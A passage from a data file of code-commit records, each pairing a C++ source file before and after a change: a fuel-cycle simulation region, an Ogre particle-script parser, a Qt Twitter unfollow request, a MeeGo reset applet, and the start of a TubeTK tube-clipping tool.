{\n producers_[it->second] = node;\n builders_[it->second] = node->parent();\n }\n \n \/\/ perform the same operation for each of this node's children\n for (int i = 0; i < node->nChildren(); i++) {\n populateMaps(node->children(i),producer_names);\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nstd::string GrowthRegion::printMaps() {\n stringstream ss(\"\");\n map<Producer*,Model*>::iterator it;\n ss << \"Producer map:\" << endl;\n for (it = producers_.begin(); it != producers_.end(); it++) {\n ss << \"\\t\" << it->first->name() << \" producer produces model \" \n << it->second->name() << endl;\n }\n ss << \"Builder map:\" << endl;\n for (it = builders_.begin(); it != builders_.end(); it++) {\n ss << \"\\t\" << it->first->name() << \" producer is built by model \" \n << it->second->name() << endl;\n }\n return ss.str();\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::orderBuilds(std::vector<BuildOrder>& orders) {\n \/\/ for each order\n for (int i = 0; i < orders.size(); i++) {\n BuildOrder bo = orders.at(i);\n \/\/ for each instance of a prototype order\n for (int j = 0; j < bo.number; j++) {\n Model* builder = builders_[bo.producer];\n Model* prototype = producers_[bo.producer];\n orderBuild(builder,prototype);\n }\n }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nvoid GrowthRegion::orderBuild(Model* builder, Model* prototype) {\n \/\/ build functions must know who is placing the build order\n dynamic_cast<InstModel*>(builder)->build(prototype,this);\n}\n\/* -------------------- *\/\n\n\n\/* --------------------\n * Model Class Methods\n * --------------------\n *\/\nextern \"C\" Model* constructGrowthRegion() {\n return new GrowthRegion();\n}\n\n\/* -------------------- *\/\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ For conditions of distribution and use, see copyright notice in license.txt\r\n\r\n#include \"StableHeaders.h\"\r\n#include \"OgreMaterialResource.h\"\r\n#include \"OgreParticleResource.h\"\r\n#include \"OgreTextureResource.h\"\r\n#include \"OgreRenderingModule.h\"\r\n#include \"OgreMaterialUtils.h\"\r\n#include \"ResourceHandler.h\"\r\n\r\n#include <Ogre.h>\r\n\r\nnamespace OgreRenderer\r\n{\r\n OgreParticleResource::OgreParticleResource(const std::string& id) : \r\n ResourceInterface(id)\r\n {\r\n }\r\n\r\n OgreParticleResource::OgreParticleResource(const std::string& id, Foundation::AssetPtr source) : \r\n ResourceInterface(id)\r\n {\r\n SetData(source);\r\n }\r\n\r\n OgreParticleResource::~OgreParticleResource()\r\n {\r\n RemoveTemplates();\r\n }\r\n\r\n bool OgreParticleResource::SetData(Foundation::AssetPtr source)\r\n {\r\n RemoveTemplates();\r\n references_.clear();\r\n\r\n if (!source)\r\n {\r\n OgreRenderingModule::LogError(\"Null source asset data pointer\"); \r\n return false;\r\n }\r\n if (!source->GetSize())\r\n {\r\n OgreRenderingModule::LogError(\"Zero sized particle system asset\"); \r\n return false;\r\n }\r\n\r\n \/\/ Detected template names\r\n Core::StringVector new_templates;\r\n \r\n Ogre::DataStreamPtr data = Ogre::DataStreamPtr(new Ogre::MemoryDataStream(const_cast<Core::u8 *>(source->GetData()), source->GetSize()));\r\n try\r\n {\r\n int brace_level = 0;\r\n bool skip_until_next = false;\r\n int skip_brace_level = 0;\r\n \/\/ Parsed\/modified script\r\n std::ostringstream output;\r\n\r\n while (!data->eof())\r\n {\r\n Ogre::String line = data->getLine();\r\n \/\/ Skip empty lines & comments\r\n if ((line.length()) && (line.substr(0, 2) != \"\/\/\"))\r\n {\r\n \/\/ Process opening\/closing braces\r\n if (!ResourceHandler::ProcessBraces(line, brace_level))\r\n {\r\n \/\/ If not a brace and on level 0, it should be a new particlesystem; replace name with resource ID + ordinal\r\n if (brace_level == 0)\r\n {\r\n line = id_ + \"_\" + Core::ToString<size_t>(new_templates.size());\r\n new_templates.push_back(line);\r\n \/\/ New script compilers need this\r\n line = \"particle_system \" + line;\r\n }\r\n else\r\n {\r\n \/\/ Check for ColourImage, which is a risky affector and may easily crash if image can't be loaded\r\n if (line.substr(0, 8) == \"affector\")\r\n {\r\n std::vector<Ogre::String> line_vec = Ogre::StringUtil::split(line, \"\\t \");\r\n if (line_vec.size() >= 2)\r\n {\r\n if (line_vec[1] == \"ColourImage\")\r\n {\r\n skip_until_next = true;\r\n skip_brace_level = brace_level;\r\n }\r\n }\r\n }\r\n \/\/ Check for image\/material definition\r\n else if (line.substr(0, 8) == \"material\")\r\n {\r\n std::vector<Ogre::String> line_vec = Ogre::StringUtil::split(line, \"\\t \");\r\n if (line_vec.size() >= 2)\r\n {\r\n std::string mat_name = line_vec[1];\r\n \/\/ Material script mode\r\n if ((line_vec.size() >= 3) && (line_vec[2].substr(0,6) == \"script\"))\r\n {\r\n references_.push_back(Foundation::ResourceReference(mat_name, OgreMaterialResource::GetTypeStatic()));\r\n line = \"material \" + mat_name;\r\n }\r\n \/\/ Texture mode\r\n else \r\n {\r\n \/\/! @todo handle legacy material variations\r\n std::string variation;\r\n if (line_vec.size() >= 3)\r\n variation = line_vec[2];\r\n \r\n references_.push_back(Foundation::ResourceReference(mat_name, OgreTextureResource::GetTypeStatic()));\r\n line = \"material \" + mat_name;\r\n }\r\n }\r\n }\r\n }\r\n \/\/ Write line to the copy\r\n if (!skip_until_next)\r\n output << line << std::endl;\r\n else\r\n OgreRenderingModule::LogDebug(\"Skipping risky particle effect line: \" + line);\r\n }\r\n else\r\n {\r\n \/\/ Write line to the copy\r\n if (!skip_until_next)\r\n output << line << std::endl;\r\n else\r\n OgreRenderingModule::LogDebug(\"Skipping risky particle effect line: \" + line);\r\n\r\n if (brace_level <= skip_brace_level)\r\n skip_until_next = false;\r\n }\r\n } \r\n }\r\n\r\n std::string output_str = output.str();\r\n Ogre::DataStreamPtr modified_data = Ogre::DataStreamPtr(new Ogre::MemoryDataStream(&output_str[0], output_str.size()));\r\n Ogre::ParticleSystemManager::getSingleton().parseScript(modified_data, Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME);\r\n }\r\n catch (Ogre::Exception& e)\r\n {\r\n OgreRenderingModule::LogWarning(e.what());\r\n OgreRenderingModule::LogWarning(\"Failed to parse Ogre particle script \" + source->GetId() + \".\");\r\n }\r\n \r\n \/\/ Check which templates actually succeeded\r\n for (Core::uint i = 0; i < new_templates.size(); ++i)\r\n {\r\n if (Ogre::ParticleSystemManager::getSingleton().getTemplate(new_templates[i]))\r\n {\r\n templates_.push_back(new_templates[i]);\r\n OgreRenderingModule::LogDebug(\"Ogre particle system template \" + new_templates[i] + \" created\");\r\n }\r\n }\r\n \r\n \/\/ Theoretical success if at least one template was created\r\n return IsValid();\r\n }\r\n\r\n static const std::string type_name(\"OgreParticle\");\r\n \r\n const std::string& OgreParticleResource::GetType() const\r\n {\r\n return type_name;\r\n }\r\n \r\n const std::string& OgreParticleResource::GetTypeStatic()\r\n {\r\n return type_name;\r\n } \r\n \r\n Core::uint OgreParticleResource::GetNumTemplates() const\r\n {\r\n return templates_.size();\r\n }\r\n \r\n const std::string& OgreParticleResource::GetTemplateName(Core::uint index) const\r\n {\r\n static const std::string empty;\r\n if (index >= templates_.size())\r\n return empty;\r\n \r\n return templates_[index];\r\n }\r\n \r\n void OgreParticleResource::RemoveTemplates()\r\n {\r\n for (unsigned i = 0; i < templates_.size(); ++i)\r\n {\r\n try\r\n {\r\n Ogre::ParticleSystemManager::getSingleton().removeTemplate(templates_[i]);\r\n } catch (...) {}\r\n }\r\n templates_.clear();\r\n }\r\n \r\n bool OgreParticleResource::IsValid() const\r\n {\r\n return (templates_.size() > 0);\r\n }\r\n}<commit_msg>[Fix] Should now compile also with latest Ogre and GCC. <commit_after>\/\/ For conditions of distribution and use, see copyright notice in license.txt\r\n\r\n#include \"StableHeaders.h\"\r\n#include \"OgreMaterialResource.h\"\r\n#include \"OgreParticleResource.h\"\r\n#include \"OgreTextureResource.h\"\r\n#include \"OgreRenderingModule.h\"\r\n#include \"OgreMaterialUtils.h\"\r\n#include \"ResourceHandler.h\"\r\n\r\n#include <Ogre.h>\r\n\r\nnamespace OgreRenderer\r\n{\r\n OgreParticleResource::OgreParticleResource(const std::string& id) : \r\n ResourceInterface(id)\r\n {\r\n }\r\n\r\n OgreParticleResource::OgreParticleResource(const std::string& id, Foundation::AssetPtr source) : \r\n ResourceInterface(id)\r\n {\r\n SetData(source);\r\n }\r\n\r\n OgreParticleResource::~OgreParticleResource()\r\n {\r\n RemoveTemplates();\r\n }\r\n\r\n bool OgreParticleResource::SetData(Foundation::AssetPtr source)\r\n {\r\n RemoveTemplates();\r\n references_.clear();\r\n\r\n if (!source)\r\n {\r\n OgreRenderingModule::LogError(\"Null source asset data pointer\"); \r\n return false;\r\n }\r\n if (!source->GetSize())\r\n {\r\n OgreRenderingModule::LogError(\"Zero sized particle system asset\"); \r\n return false;\r\n }\r\n\r\n \/\/ Detected template names\r\n Core::StringVector new_templates;\r\n \r\n Ogre::DataStreamPtr data = Ogre::DataStreamPtr(new Ogre::MemoryDataStream(const_cast<Core::u8 *>(source->GetData()), source->GetSize()));\r\n try\r\n {\r\n int brace_level = 0;\r\n bool skip_until_next = false;\r\n int skip_brace_level = 0;\r\n \/\/ Parsed\/modified script\r\n std::ostringstream output;\r\n\r\n while (!data->eof())\r\n {\r\n Ogre::String line = data->getLine();\r\n \/\/ Skip empty lines & comments\r\n if ((line.length()) && (line.substr(0, 2) != \"\/\/\"))\r\n {\r\n \/\/ Process opening\/closing braces\r\n if (!ResourceHandler::ProcessBraces(line, brace_level))\r\n {\r\n \/\/ If not a brace and on level 0, it should be a new particlesystem; replace name with resource ID + ordinal\r\n if (brace_level == 0)\r\n {\r\n line = id_ + \"_\" + Core::ToString<size_t>(new_templates.size());\r\n new_templates.push_back(line);\r\n \/\/ New script compilers need this\r\n line = \"particle_system \" + line;\r\n }\r\n else\r\n {\r\n \/\/ Check for ColourImage, which is a risky affector and may easily crash if image can't be loaded\r\n if (line.substr(0, 8) == \"affector\")\r\n {\r\n\t\t\t std::vector<Ogre::String> line_vec;\r\n\r\n#if OGRE_VERSION_MAJOR == 1 && OGRE_VERSION_MINOR == 6 \r\n\t\t\t line_vec = Ogre::StringUtil::split(line, \"\\t \");\r\n#else \r\n\t\t\t Ogre::vector<Ogre::String>::type vec = Ogre::StringUtil::split(line,\"\\t \");\r\n\t\t\t int size = vec.size();\r\n\t\t\t line_vec.resize(size);\r\n\t\t\t \r\n\t\t\t for (int i = 0; i < size; ++i)\r\n\t\t\t\tline_vec[i] = vec[i];\r\n#endif \r\n if (line_vec.size() >= 2)\r\n {\r\n if (line_vec[1] == \"ColourImage\")\r\n {\r\n skip_until_next = true;\r\n skip_brace_level = brace_level;\r\n }\r\n }\r\n }\r\n \/\/ Check for image\/material definition\r\n else if (line.substr(0, 8) == \"material\")\r\n {\r\n\t\t\t std::vector<Ogre::String> line_vec;\r\n#if OGRE_VERSION_MAJOR == 1 && OGRE_VERSION_MINOR == 6 \r\n\t\t\t line_vec = Ogre::StringUtil::split(line, \"\\t \");\r\n#else \r\n\t\t\t Ogre::vector<Ogre::String>::type vec = Ogre::StringUtil::split(line,\"\\t \");\r\n\t\t\t int size = vec.size();\r\n\t\t\t line_vec.resize(size);\r\n\t\t\t \r\n\t\t\t for (int i = 0; i < size; ++i)\r\n\t\t\t\tline_vec[i] = vec[i];\r\n#endif \r\n\t\t\t\tif (line_vec.size() >= 2)\r\n {\r\n std::string mat_name = line_vec[1];\r\n \/\/ Material script mode\r\n if ((line_vec.size() >= 3) && (line_vec[2].substr(0,6) == \"script\"))\r\n {\r\n references_.push_back(Foundation::ResourceReference(mat_name, OgreMaterialResource::GetTypeStatic()));\r\n line = \"material \" + mat_name;\r\n }\r\n \/\/ Texture mode\r\n else \r\n {\r\n \/\/! @todo handle legacy material variations\r\n std::string variation;\r\n if (line_vec.size() >= 3)\r\n variation = line_vec[2];\r\n \r\n references_.push_back(Foundation::ResourceReference(mat_name, OgreTextureResource::GetTypeStatic()));\r\n line = \"material \" + mat_name;\r\n }\r\n }\r\n }\r\n }\r\n \/\/ Write line to the copy\r\n if (!skip_until_next)\r\n output << line << std::endl;\r\n else\r\n OgreRenderingModule::LogDebug(\"Skipping risky particle effect line: \" + line);\r\n }\r\n else\r\n {\r\n \/\/ Write line to the copy\r\n if (!skip_until_next)\r\n output << line << std::endl;\r\n else\r\n OgreRenderingModule::LogDebug(\"Skipping risky particle effect line: \" + line);\r\n\r\n if (brace_level <= skip_brace_level)\r\n skip_until_next = false;\r\n }\r\n } \r\n }\r\n\r\n std::string output_str = output.str();\r\n Ogre::DataStreamPtr modified_data = Ogre::DataStreamPtr(new Ogre::MemoryDataStream(&output_str[0], output_str.size()));\r\n Ogre::ParticleSystemManager::getSingleton().parseScript(modified_data, Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME);\r\n }\r\n catch (Ogre::Exception& e)\r\n {\r\n OgreRenderingModule::LogWarning(e.what());\r\n OgreRenderingModule::LogWarning(\"Failed to parse Ogre particle script \" + source->GetId() + \".\");\r\n }\r\n \r\n \/\/ Check which templates actually succeeded\r\n for (Core::uint i = 0; i < new_templates.size(); ++i)\r\n {\r\n if (Ogre::ParticleSystemManager::getSingleton().getTemplate(new_templates[i]))\r\n {\r\n templates_.push_back(new_templates[i]);\r\n OgreRenderingModule::LogDebug(\"Ogre particle system template \" + new_templates[i] + \" created\");\r\n }\r\n }\r\n \r\n \/\/ Theoretical success if at least one template was created\r\n return IsValid();\r\n }\r\n\r\n static const std::string type_name(\"OgreParticle\");\r\n \r\n const std::string& OgreParticleResource::GetType() const\r\n {\r\n return type_name;\r\n }\r\n \r\n const std::string& OgreParticleResource::GetTypeStatic()\r\n {\r\n return type_name;\r\n } \r\n \r\n Core::uint OgreParticleResource::GetNumTemplates() const\r\n {\r\n return templates_.size();\r\n }\r\n \r\n const std::string& OgreParticleResource::GetTemplateName(Core::uint index) const\r\n {\r\n static const std::string empty;\r\n if (index >= templates_.size())\r\n return empty;\r\n \r\n return templates_[index];\r\n }\r\n \r\n void OgreParticleResource::RemoveTemplates()\r\n {\r\n for (unsigned i = 0; i < templates_.size(); ++i)\r\n {\r\n try\r\n {\r\n Ogre::ParticleSystemManager::getSingleton().removeTemplate(templates_[i]);\r\n } catch (...) {}\r\n }\r\n templates_.clear();\r\n }\r\n \r\n bool OgreParticleResource::IsValid() const\r\n {\r\n return (templates_.size() > 0);\r\n }\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2010, Antonie Jovanoski\n *\n * All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Contact e-mail: Antonie Jovanoski <minimoog77_at_gmail.com>\n *\/\n\n#include <QtDebug>\n#include <QNetworkRequest>\n#include <QNetworkReply>\n#include \"qtweetfriendshipdestroy.h\"\n#include \"qtweetuser.h\"\n#include \"qtweetconvert.h\"\n\n\/**\n * Constructor\n *\/\nQTweetFriendshipDestroy::QTweetFriendshipDestroy(QObject *parent) :\n QTweetNetBase(parent)\n{\n}\n\n\/**\n * Constructor\n * @param oauthTwitter OAuthTwitter object\n * @param parent parent QObject\n *\/\nQTweetFriendshipDestroy::QTweetFriendshipDestroy(OAuthTwitter *oauthTwitter, QObject *parent) :\n QTweetNetBase(oauthTwitter, parent)\n{\n}\n\n\/**\n * Unfollows the specified user\n * @param userid user id to unfollow\n * @param includeEntities when set totrue, each tweet will include a node called \"entities,\".\n *\/\nvoid QTweetFriendshipDestroy::unfollow(qint64 userid, bool includeEntities)\n{\n if (!isAuthenticationEnabled()) {\n qCritical(\"Needs authentication to be enabled\");\n return;\n }\n\n QUrl url(\"http:\/\/api.twitter.com\/1\/friendships\/destroy.json\");\n\n url.addQueryItem(\"user_id\", QString::number(userid));\n\n if (includeEntities)\n url.addQueryItem(\"include_entities\", \"true\");\n\n QNetworkRequest req(url);\n\n QByteArray oauthHeader = oauthTwitter()->generateAuthorizationHeader(url, OAuth::GET);\n req.setRawHeader(AUTH_HEADER, oauthHeader);\n\n QNetworkReply *reply = oauthTwitter()->networkAccessManager()->deleteResource(req);\n connect(reply, SIGNAL(finished()), this, SLOT(reply()));\n}\n\n\/**\n * Unfollows the specified user\n * @param screenName screen name to unfollow\n * @param includeEntities when set totrue, each tweet will include a node called \"entities,\".\n *\/\nvoid QTweetFriendshipDestroy::unfollow(const QString &screenName, bool includeEntities)\n{\n if (!isAuthenticationEnabled()) {\n qCritical(\"Needs authentication to be enabled\");\n return;\n }\n\n QUrl url(\"http:\/\/api.twitter.com\/1\/friendships\/destroy.json\");\n\n url.addQueryItem(\"screen_name\", screenName);\n\n if (includeEntities)\n url.addQueryItem(\"include_entities\", \"true\");\n\n QNetworkRequest req(url);\n\n QByteArray oauthHeader = oauthTwitter()->generateAuthorizationHeader(url, OAuth::GET);\n req.setRawHeader(AUTH_HEADER, oauthHeader);\n\n QNetworkReply *reply = oauthTwitter()->networkAccessManager()->deleteResource(req);\n connect(reply, SIGNAL(finished()), this, SLOT(reply()));\n}\n\nvoid QTweetFriendshipDestroy::parsingJsonFinished(const QVariant &json, bool ok, const QString &errorMsg)\n{\n if (ok) {\n QTweetUser user = QTweetConvert::variantMapToUserInfo(json.toMap());\n\n emit parsedUser(user);\n } else {\n qDebug() << \"QTweetFriendshipCreate parser error: \" << errorMsg;\n setLastErrorMessage(errorMsg);\n emit error(JsonParsingError, errorMsg);\n }\n}\n<commit_msg>Fixed issue 9.<commit_after>\/* Copyright (c) 2010, Antonie Jovanoski\n *\n * All rights reserved.\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Contact e-mail: Antonie Jovanoski <minimoog77_at_gmail.com>\n *\/\n\n#include <QtDebug>\n#include <QNetworkRequest>\n#include <QNetworkReply>\n#include \"qtweetfriendshipdestroy.h\"\n#include \"qtweetuser.h\"\n#include \"qtweetconvert.h\"\n\n\/**\n * Constructor\n *\/\nQTweetFriendshipDestroy::QTweetFriendshipDestroy(QObject *parent) :\n QTweetNetBase(parent)\n{\n}\n\n\/**\n * Constructor\n * @param oauthTwitter OAuthTwitter object\n * @param parent parent QObject\n *\/\nQTweetFriendshipDestroy::QTweetFriendshipDestroy(OAuthTwitter *oauthTwitter, QObject *parent) :\n QTweetNetBase(oauthTwitter, parent)\n{\n}\n\n\/**\n * Unfollows the specified user\n * @param userid user id to unfollow\n * @param includeEntities when set totrue, each tweet will include a node called \"entities,\".\n *\/\nvoid QTweetFriendshipDestroy::unfollow(qint64 userid, bool includeEntities)\n{\n if (!isAuthenticationEnabled()) {\n qCritical(\"Needs authentication to be enabled\");\n return;\n }\n\n QUrl url(\"http:\/\/api.twitter.com\/1\/friendships\/destroy.json\");\n\n url.addQueryItem(\"user_id\", QString::number(userid));\n\n if (includeEntities)\n url.addQueryItem(\"include_entities\", \"true\");\n\n QNetworkRequest req(url);\n\n QByteArray oauthHeader = oauthTwitter()->generateAuthorizationHeader(url, OAuth::DELETE);\n req.setRawHeader(AUTH_HEADER, oauthHeader);\n\n QNetworkReply *reply = oauthTwitter()->networkAccessManager()->deleteResource(req);\n connect(reply, SIGNAL(finished()), this, SLOT(reply()));\n}\n\n\/**\n * Unfollows the specified user\n * @param screenName screen name to unfollow\n * @param includeEntities when set totrue, each tweet will include a node called \"entities,\".\n *\/\nvoid QTweetFriendshipDestroy::unfollow(const QString &screenName, bool includeEntities)\n{\n if (!isAuthenticationEnabled()) {\n qCritical(\"Needs authentication to be enabled\");\n return;\n }\n\n QUrl url(\"http:\/\/api.twitter.com\/1\/friendships\/destroy.json\");\n\n url.addQueryItem(\"screen_name\", screenName);\n\n if (includeEntities)\n url.addQueryItem(\"include_entities\", \"true\");\n\n QNetworkRequest req(url);\n\n QByteArray oauthHeader = oauthTwitter()->generateAuthorizationHeader(url, OAuth::DELETE);\n req.setRawHeader(AUTH_HEADER, oauthHeader);\n\n QNetworkReply *reply = oauthTwitter()->networkAccessManager()->deleteResource(req);\n connect(reply, SIGNAL(finished()), this, SLOT(reply()));\n}\n\nvoid QTweetFriendshipDestroy::parsingJsonFinished(const QVariant &json, bool ok, const QString &errorMsg)\n{\n if (ok) {\n QTweetUser user = QTweetConvert::variantMapToUserInfo(json.toMap());\n\n emit parsedUser(user);\n } else {\n qDebug() << \"QTweetFriendshipCreate parser error: \" << errorMsg;\n setLastErrorMessage(errorMsg);\n emit error(JsonParsingError, errorMsg);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of meegotouch-controlpanelapplets.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"resetapplet.h\"\n#include \"resetwidget.h\"\n#include \"resetbrief.h\"\n\n#include <MTheme>\n#include <MAction>\n#include <QDBusInterface>\n\n#undef DEBUG\n#include \"..\/debug.h\"\n\nQ_EXPORT_PLUGIN2(resetapplet, ResetApplet)\n\nResetApplet::ResetApplet() :\n m_ResetBusinessLogic (new ResetBusinessLogic)\n{\n}\n\nResetApplet::~ResetApplet() \n{\n delete m_ResetBusinessLogic;\n}\n\nvoid \nResetApplet::init()\n{\n}\n\nDcpWidget *\nResetApplet::pageMain(\n int widgetId)\n{\n SYS_DEBUG (\"widgetId = %d\", widgetId);\n switch (widgetId) {\n case 0:\n if (m_MainWidget == 0) \n m_MainWidget = new ResetWidget (m_ResetBusinessLogic);\n return m_MainWidget;\n\n default:\n SYS_WARNING (\"Unknown widgetId: %d\", widgetId);\n }\n\n return 0;\n}\n\nDcpWidget *\nResetApplet::constructWidget (\n int widgetId)\n{\n SYS_DEBUG (\"-----------------------------------\");\n SYS_DEBUG (\"*** widgetId = %d\", widgetId);\n return pageMain (widgetId);\n}\n\nQString\nResetApplet::title() const\n{\n \/\/% \"Reset settings\"\n return qtTrId (\"qtn_rset_reset_settings\");\n}\n\nQVector<MAction*>\nResetApplet::viewMenuItems()\n{\n MAction *helpAction;\n QVector<MAction*> vector;\n\n SYS_DEBUG (\"\");\n helpAction = new MAction (\n \/\/% \"User Guide\"\n qtTrId (\"qtn_comm_userguide\"), \n pageMain (0));\n helpAction->setLocation (MAction::ApplicationMenuLocation);\n\n connect (helpAction, SIGNAL (triggered (bool)),\n this, SLOT (userGuide ()));\n\n vector.append(helpAction);\n\n return vector;\n}\n\nvoid\nResetApplet::userGuide ()\n{\n QDBusInterface userguide (\"com.nokia.userguide\", \"\/\",\n \"com.nokia.UserGuideIf\");\n userguide.call (\"pageByPath\", \"tips.cfg\");\n SYS_DEBUG (\"\");\n}\n\n\nDcpBrief *\nResetApplet::constructBrief (\n int partId)\n{\n Q_UNUSED (partId);\n return new ResetBrief (m_ResetBusinessLogic);\n}\n<commit_msg>removed menu from reset applet.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of meegotouch-controlpanelapplets.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"resetapplet.h\"\n#include \"resetwidget.h\"\n#include \"resetbrief.h\"\n\n#include <MTheme>\n#include <MAction>\n#include <QDBusInterface>\n\n#undef DEBUG\n#include \"..\/debug.h\"\n\nQ_EXPORT_PLUGIN2(resetapplet, ResetApplet)\n\nResetApplet::ResetApplet() :\n m_ResetBusinessLogic (new ResetBusinessLogic)\n{\n}\n\nResetApplet::~ResetApplet() \n{\n delete m_ResetBusinessLogic;\n}\n\nvoid \nResetApplet::init()\n{\n}\n\nDcpWidget *\nResetApplet::pageMain(\n int widgetId)\n{\n SYS_DEBUG (\"widgetId = %d\", widgetId);\n switch (widgetId) {\n case 0:\n if (m_MainWidget == 0) \n m_MainWidget = new ResetWidget (m_ResetBusinessLogic);\n return m_MainWidget;\n\n default:\n SYS_WARNING (\"Unknown widgetId: %d\", widgetId);\n }\n\n return 0;\n}\n\nDcpWidget *\nResetApplet::constructWidget (\n int widgetId)\n{\n SYS_DEBUG (\"-----------------------------------\");\n SYS_DEBUG (\"*** widgetId = %d\", widgetId);\n return pageMain (widgetId);\n}\n\nQString\nResetApplet::title() const\n{\n \/\/% \"Reset settings\"\n return qtTrId (\"qtn_rset_reset_settings\");\n}\n\nQVector<MAction*>\nResetApplet::viewMenuItems()\n{\n QVector<MAction*> vector;\n\n return vector;\n}\n\nvoid\nResetApplet::userGuide ()\n{\n QDBusInterface userguide (\"com.nokia.userguide\", \"\/\",\n \"com.nokia.UserGuideIf\");\n userguide.call (\"pageByPath\", \"tips.cfg\");\n SYS_DEBUG (\"\");\n}\n\n\nDcpBrief *\nResetApplet::constructBrief (\n int partId)\n{\n Q_UNUSED (partId);\n return new ResetBrief (m_ResetBusinessLogic);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n Library: TubeTK\n \n Copyright 2010 Kitware Inc. 28 Corporate Drive,\n Clifton Park, NY, 12065, USA.\n \n All rights reserved.\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n=========================================================================*\/\n#include <iostream>\n#include <sstream>\n\n#include \"itkTimeProbesCollectorBase.h\"\n#include \"tubeMessage.h\"\n\n#include \"tubeMacro.h\"\n#include \"metaScene.h\"\n\n#include \"itkSpatialObjectReader.h\"\n#include \"itkSpatialObjectWriter.h\"\n#include \"itkGroupSpatialObject.h\"\n\n#include \"ClipTubesCLP.h\"\n\ntemplate< unsigned int VDimension >\nbool isInside (itk::Point<double,VDimension> pointPos, double tubeRadius,\n\t\t std::vector<double> boxPos, std::vector<double> boxSize)\n{\n \/\/ Return a boolean indicating if any slice of the tube \n \/\/ is included in the box.\n \/\/ A slice is considered as a point and an associated radius\n bool hasXInside=false;\n bool hasYInside=false,\n bool hasZInside=false;\n \n if( pointPos[0] + tubeRadius >= boxPos[0] &&\n pointPos[0] - tubeRadius <= boxPos[0] + boxSize[0] )\n {\n hasXInside = true;\n }\n if( pointPos[1] <= boxPos[1] &&\n pointPos[1] >= boxPos[1] - boxSize[1] )\n {\n hasYInside = true;\n }\n switch( VDimension )\n {\n case 2:\n { \n hasZInside = true;\n break;\n }\n case 3:\n {\n if( pointPos[2] + tubeRadius >= boxPos[2] &&\n\tpointPos[2] - tubeRadius <= boxPos[2] + boxSize[2] )\n\t{\n\thasZInside = true;\n\t}\n break;\n }\n default:\n {\n tubeErrorMacro( \n << \"Error: Only 2D and 3D data is currently supported.\" );\n return EXIT_FAILURE;\n }\n }\n \n return (hasXInside && hasYInside && hasZInside);\n}\n\n\ntemplate< unsigned int VDimension >\nint DoIt (int argc, char * argv[])\n{\n PARSE_ARGS;\n\n \/\/ Ensure that the input image dimension is valid\n \/\/ We only support 2D and 3D Images due to the\n \/\/ limitation of itkTubeSpatialObject\n if( VDimension != 2 && VDimension != 3 )\n {\n tube::ErrorMessage(\n \"Error: Only 2D and 3D data is currently supported.\");\n return EXIT_FAILURE;\n }\n \n \/\/ The timeCollector to perform basic profiling of algorithmic components\n itk::TimeProbesCollectorBase timeCollector;\n \n \/\/ Load TRE File\n tubeStandardOutputMacro( << \"\\n>> Loading TRE File\" );\n\n typedef itk::SpatialObjectReader< VDimension > \t TubesReaderType;\n typedef itk::GroupSpatialObject< VDimension > \t TubeGroupType;\n\/\/ typedef itk::TubeSpatialObject< VDimension > TubeType; \t \n\/*WARNING : \n dynamic_cast on \"typedef itk::TubeSpatialObject< VDimension > TubeType\"\n causes SEGFAULT\n so TubeType corresponds to VesselTubeType to prevent issues\n so TubePointType corresponds to VesselTubePointType *\/\n typedef itk::VesselTubeSpatialObject< VDimension > \t TubeType; \n typedef itk::VesselTubeSpatialObjectPoint< VDimension > TubePointType;\n\n timeCollector.Start( \"Loading Input TRE File\" );\n \n typename TubesReaderType::Pointer tubeFileReader = TubesReaderType::New();\n \n try\n {\n tubeFileReader->SetFileName( inputTREFile.c_str() );\n tubeFileReader->Update();\n }\n catch( itk::ExceptionObject & err )\n {\n tube::ErrorMessage( \"Error loading TRE File: \"\n + 